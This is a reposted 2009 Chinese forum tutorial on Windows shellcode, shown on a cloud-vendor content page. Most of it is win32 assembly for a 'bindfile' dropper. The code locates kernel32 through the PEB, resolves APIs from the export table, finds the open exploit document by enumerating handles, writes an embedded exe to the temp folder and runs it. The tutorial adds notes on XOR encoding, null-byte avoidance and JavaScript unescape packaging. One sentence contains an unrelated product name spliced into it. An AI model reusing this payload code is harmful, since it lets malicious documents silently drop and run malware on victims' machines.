windows下的shellcode剖析淺談[轉自看雪]

來源:互聯網
上載者:User
標 題: 【原創】windows下的shellcode剖析淺談
作 者: snowdbg
時 間: 2009-10-06,11:12
鏈 接: http://bbs.pediy.com/showthread.php?t=99007

  今天是中秋節,正好我的文章在今Apsara Infrastructure Management Framework本完成,作為中秋禮物送給大家,由於本人水平有限希望大家多多批評指正!
學習了好些日子了,思路總是亂亂的,這幾天決定養成個好習慣,把自己學習的一些東西做一些總結寫篇文章,以便歸納和總結,並從中能夠更深刻更系統化的理解其技術原理。  今天,就從shellcode來下手吧!
  說到shellcode可能都有些迷茫,不知它是什麼東西,可能覺得也很神秘,對於它的專業解釋也很少有人提及,今天我們就從以下幾個方面來對windows下的shellcode做一個全剖析:
1.  shellcode的發展曆史以及定義
2.  現今常見的windows下的shellcode種類
3.  動手編寫一個簡單的shellcode
4.  shellcode的存在形式以及編碼方式
5.  exploit中的shellcode
好了,下面我們就逐一來弄清楚這些問題吧!
1.  shellcode的發展曆史以及定義:
對於shellcode的發展曆史,failewest兄的《0day安全:軟體漏洞分析技術》一書中講的很明白,這裡就引用一小段:
“1996年,Aleph One在Underground發表了著名論文《SMASHING THE STACK FOR FUN AND PROFIT》,其中詳細描述了Linux系統中棧的結構和如何利用基於棧的緩衝區溢位。在這篇具有劃時代意義的論文中,Aleph One示範了如何向進程中植入一段用於獲得shell的代碼,並在論文中稱這段被植入進程的代碼為’shellcode’。 

後來人們乾脆統一用shellcode這個專用術語來通稱緩衝區溢位攻擊中植入進程的代碼。這段代碼可以是出於惡作劇目的的彈出一個訊息框,也可以是出於攻擊目的的刪改重要檔案、竊取資料、上傳木馬病毒並運行,甚至是出於破壞目的的格式化硬碟等等。”

其實,現在shellcode的應用也很廣泛,甚至有些遠端控制軟體也把自己能做成一個shellcode形式,我們只要理解這個是溢出之後幹壞事的一段代碼。(文章中提及的shellcode也全是跟溢出相關的shellcode)
2.  現今常見的windows下的shellcode種類
這裡,我就直接從功能上來分類:
(1)  反彈連接埠類(shell)
這是一個真正的原始意義上的shellcode,不得不講
(2)  下載並執行類(download&exec)
這個是最簡單的一類shellcode,在網馬中的應用也最廣泛
(3)  產生並運行可執行檔類(bindfile)
為什麼會有這麼一類shellcode呢?試想想,製造漏洞的壞人如果把前面兩類shellcode綁定到一個應用軟體exploit裡面就會出現一些意外情況:
a)  假如你的反彈行為被防火牆給攔截了怎麼辦?
b)  假如對方的防範意識比較高開啟doc、pdf之類的檔案的時候總是把網斷了再開啟怎麼辦?
哎~,早有壞人替我們想到了這些問題,他們把自己的exe也一併綁定到exploit中,shellcode的功能就是把exe釋放出來,然後運行。(這個方法有點邪惡吧)
3.  動手編寫一個簡單的shellcode
好了,前面說了這麼多廢話,說一會也該練練了。
這裡為了方便講解,我就選擇用win32彙編來寫吧。(當然我對c更熟悉些)前面兩類shellcode的例子很多,這裡我就著重介紹下bindfile類shellcode的編寫。
首先,讓我們來理理思路,看圖:
查看次數: 1360
檔案大小: 26.8 KB" style="margin: 2px" alt="名稱: 1.JPG
查看次數: 1360
檔案大小: 26.8 KB" src="http://bbs.pediy.com/attachment.php?attachmentid=32768&d=1254798295" onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='';this.onmouseover=this.style.cursor='pointer'; this.onclick=function(){window.open('http://bbs.pediy.com/attachment.php?attachmentid=32768&d=1254798295')}}" border="0">
這個圖是按shellcode的執行流程來畫的,下面逐一來講解。
其實shellcode就是一段自主的而且功能完善的代碼,不過裡面不能直接調用API函數,因為它不是運行在編譯器環境下,沒有include來聲明函數,更沒有應用程式的函數表,所以,shellcode得自己想辦法找到自己調用的API函數的地址,然後強行調用了。
(1)  尋找kernel32.dll基址:
shellcode裡面用的API函數一般都是與使用者介面無關的,因為它要幹壞事,一般都是偷偷的,所以它一般用的都是kernel32.dll裡面的函數。所以,我們必須先找到kernel32的基址才能進一步找到各API的地址具體地址。
關於擷取api基址的方法很多,我這裡就講最簡單的一種(這裡面集合了眾多高手的實踐經驗):
利用PEB尋找kernel32基址:代碼:

assume fs:nothing  mov   eax,fs:[30h]  test  eax,eax  js  os_9xos_nt:    mov  eax,[eax+0ch]  mov  esi,[eax+1ch]  lodsd    mov   eax,[eax+8]  jmp  k_finishedos_9x:  mov   eax,[eax+34h]  mov  eax,[eax+7ch]  mov  eax,[eax+3ch]k_finished:  sub  esp,200  mov  edi,esp  mov  [edi+8],eax  ;擷取kernel32地址

可能上面這段代碼大家看的不是很明白,現在畫個來看看:
查看次數: 1348
檔案大小: 14.8 KB" style="margin: 2px" alt="名稱: 2.JPG
查看次數: 1348
檔案大小: 14.8 KB" src="http://bbs.pediy.com/attachment.php?attachmentid=32769&d=1254798295" onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='';this.onmouseover=this.style.cursor='pointer'; this.onclick=function(){window.open('http://bbs.pediy.com/attachment.php?attachmentid=32769&d=1254798295')}}" border="0">
至於為什麼這裡放的就是kernel32的基址呢,這需要感謝那些經驗豐富的大牛了,ms本來就是這麼設計的,但是要找到這麼通用的方法可不簡單。同時,代碼裡面也對9x系統進行了判斷,相信大家可以通過上面的圖看明白是什麼意思。
其實,還由幾種思路非常清晰的動態尋找方法,大家可以自己去找找相關的文章看看。我喜歡偷懶~
(2)  尋找API函數地址
通過上面找到了kernel32的基址,但是我們如何得到具體的api函數地址呢?這裡就需要涉及到pe檔案格式了。這裡我只講解如何從dll檔案中找出其函數引出表中的函數地址的方法:(班門弄斧了,見笑~)
a.在kernel32基址+0x3c處擷取e_lfanewc地址,即可以得到PE頭
b.在PE頭位移的0x78處得到函數引出表地址
c.在引出表的0x1c位移處擷取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
d. AddressOfFunctions和 AddressOfNames是函數地址和函數名通過AddressOfNameOrdinalse一一對應的兩個數組
e.是這樣計算的:
搜尋AddressOfNames,確定“GetProcAddress”所對應的index;
  index = AddressOfNameOrdinalse [ index ];
函數地址 = AddressOfFunctions [ index ];
代碼:代碼:

FindApi:      ;擷取API函數地址子過程  push  ebp  push  edi  mov  ebp,edi  mov  ebx,esp  add  ebx,8  xor  edx,edx  mov  eax,[ebp+8]  add  eax,3ch    ;指向PE頭部位移值e_lfanew  mov  eax,[eax]  ;取得e_lfanew值  add  eax,[ebp+8]  ;指向PE header  cmp  dword ptr[eax],4550h  ;判斷是否為'PE'  jne  NotFound  ;kernel32基址錯誤  mov  [ebp+0ch],eax  ;儲存PE檔案頭  mov  eax,[eax+78h]  add  eax,[ebp+8]  mov  [ebp+0ch],eax  ;指向IMAGE_EXPORT_DIRECTORY  mov  eax,[eax+20h]  add  eax,[ebp+8]  mov  [ebp+4],eax  ;儲存函數名指標數組的指標值  mov  ecx,[ebp+0ch]  mov  ecx,[ecx+14h]FindLoop:    push  ecx  mov  eax,[eax]  add  eax,[ebp+8]  mov  esi,ebx  add  esi,8  mov  edi,eax  mov  ecx,[ebx+4]  cld  repe  cmpsb  jne  FindNext  add   esp,4  mov  eax,[ebp+0ch]  mov  eax,[eax+1ch]  add   eax,[ebp+8]  shl  edx,2  add  eax,edx  mov  eax,[eax]  add  eax,[ebp+8]  jmp  FoundFindNext:  inc  edx  add  dword ptr[ebp+4],4  mov  eax,[ebp+4]  pop  ecx  loop  FindLoopNotFound:  xor   eax,eaxFound:  pop  edi  pop  ebp  ret  

(3)  定位exe檔案資料
API地址也找到了,現在剩下的就是實現功能,首先,想到的就是找到exe的資料在哪,然後我們把它ReadFile提出來然後CreateFile再WriteFile不就完了。但是,我們又面臨以下兩個問題:
如何找到exe資料呢?
這個問題很好回答,exe的資料就在我們的exploit檔案中,接下來就有些難度了;
如何定位exploit檔案呢?
我們可以考慮兩種做法:
一是知道exploit檔案的路徑,那樣就可以用CreateFile來開啟它,從而擷取資料,不過這種做法還面臨一個困難,如何得到exploit檔案的路徑,當然,辦法還是有的;
第二種方法就是找到exploit的檔案控制代碼,這裡先討論一個邏輯關係,就是我們為什麼可以利用這種方法,原因很簡單,你的exploit其實已經開啟了,只是你自己不知道它的控制代碼而已,這樣,只要我們能群舉出控制代碼,那麼就可以直接通過控制代碼來讀exploit裡面的exe檔案資料了。
上面兩種方法的優缺點顯而易見,第二種方法通用性更強,第一種方法雖然可以用更加巧妙的方式來實現,但是難度相對較高,而且不容易理解,所以我就以第二種方法為例來介紹,即群舉控制代碼法:代碼:

    mov  dword ptr[edi+68h],1000h  ;設定exe檔案長度exelen  xor  esi,esisHandle:  inc  esi  push  0  push  esi  call  dword ptr[edi+10h]  cmp  eax,1536    ;exploit檔案大小  jne  sHandle  mov  [edi+3ch],eax  mov  [edi+40h],esi    ;根據檔案大小群舉有效控制代碼

這裡還要辦的一件事就是,在ReadFile和Writefile的時候需要申請一個空間來存放exe檔案資料,這就由GlobalAlloc和GlobalFree來負責解決這個問題了,這裡就不需要詳細解釋了。代碼:

push  [edi+3ch]  push  40  call  dword ptr[edi+20h]  mov  [edi+60h],eax        ;申請記憶體空間儲存讀取出來的exe檔案資料    mov   esi,esp  add  esi,100h  push  esi  push  50h  call  dword ptr[edi+18h]  mov  ebx,esi  mov  [edi+44h],esi  add  ebx,eax    add  ebx,8  mov  eax,esp  mov  esp,ebx  push  'e'  push  'xe.a'  sub   esp,8  mov  esp,eax        ;擷取臨時檔案夾路徑,並追加exe檔案名稱  push  0  push  2  push  2  push  0  push  3  push  40000000h  mov  ebx,[edi+44h]  push  ebx  call  dword ptr[edi+1ch]    ;根據exe檔案路徑建立exe檔案  mov  [edi+48h],eax      push  2  push  0  push  200  push  dword ptr[edi+40h]  call  dword ptr[edi+14h]    ;設定檔案指標    push  0  lea  ebx,dword ptr[edi+64h]  push  ebx  push  dword ptr[edi+68h]  push  dword ptr[edi+60h]  push  dword ptr[edi+40h]  call  dword ptr[edi+28h]    ;讀取指定長度    push  0  lea  ebx,dword ptr[edi+64h]  push  ebx  push  dword ptr[edi+68h]  push  dword ptr[edi+60h]  push  dword ptr[edi+48h]  call  dword ptr[edi+2ch]    ;將讀取的exe檔案資料寫入exe檔案中

(4)  產生並運行exe
這個就比較簡單了,直接看代碼:代碼:

mov  ebx,[edi+40h]  call  dword ptr[edi+30h]    ;大功告成CloseHandle  mov  ebx,[edi+48h]  push  ebx  call  dword ptr[edi+34h]  ;最終目標,運行exe檔案

(5)  打掃戰場,閃人
當然首先是要把前面申請的記憶體空間釋放掉,然後用個exitprocess來結束這一切吧,一是留點善心,二是省事:代碼:

push  dword ptr[edi+60h]call  dword ptr[edi+24h]    ;清理戰場GlobalFreepush  0call  dword ptr[edi+38h]    ;exitprocess退出進程,以免進程卡死或報錯

4.  shellcode的自動提取
上面寫的shellcode是用彙編寫的,我們不至於把它直接拷到exploit裡面去執行吧,cpu認的是機器碼,所以你控制了eip之後當然得把它指到cpu能識別的指令上去吧。所以,我們得把彙編轉換成機器碼,網上公開的方法很多,我這裡介紹一種比較簡便的方法吧:既然你是用彙編寫的那麼你的代碼在.code段的記憶體中應該就直接是機器碼了,只需要在開始和結尾打個標記,然後把它直接從那裡匯出來就完了。
看代碼:代碼:

.386    .model flat, stdcall    option casemap:noneinclude    user32.incinclude    kernel32.incincludelib  kernel32.libincludelib  user32.lib    .datasc_out    db  'sc_out.txt',0exelen    dd  1000h    .data?sc_start  dd  ?sc_end    dd  ?sc_len    dd  ?out_handle  dd  ?out_buff  dd  ?dwsize    dd  ?    .codestart:  jmp scEnd;  scStart:        ……scEnd:  mov  sc_start,scStart  mov  sc_end,  scEnd  mov  ebx,sc_end  sub  ebx,sc_start  mov  sc_len,ebx  invoke  CreateFile,offset sc_out,40000000h,3,0,2,2,0  mov  out_handle,eax    lea  ebx,scStart  mov  out_buff,ebx  invoke  WriteFile,out_handle,out_buff,sc_len,addr dwsize,0    invoke  CloseHandle,out_handle    end start

5.  exploit中的shellcode
在exploit中,有時候由於隱蔽性、str的0x00斷開限制、JavaScript等指令碼中不同的字串格式要求下,可能shellcode會需要以不同的形式來放到exploit中。下面逐一來說明:
(1)  隱蔽性
這個一般就是對shellcode進行簡單的編碼,比如異或等方式
(2)  Str的0x00斷開限制
有時候shellcode是作為一個問題函數的參數被傳入的,這個時候就必須考慮傳入shellcode的完整性了,因為在字串中往往0x00會將字串斷開,所以必須向辦法在shellcode中避免0x00的出現
(3)  JavaScript中的unescape
在JavaScript中所有的變數基本都是以字串的形式或者unescape的形式存在的,沒有byte這種概念,因此對於一些諸如0x00,0x01等等這些非字串是無法表示的,最好還是用它的unescape來存在,那麼就必須把的shellcode轉換成它的格式來放在exploit中了,這種多見於JavaScript溢出利用中。

不知不覺寫了這麼多,由於本人的知識水平和表達能力有限,所以其中不免有錯誤之處,希望大家能夠批評指正!

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.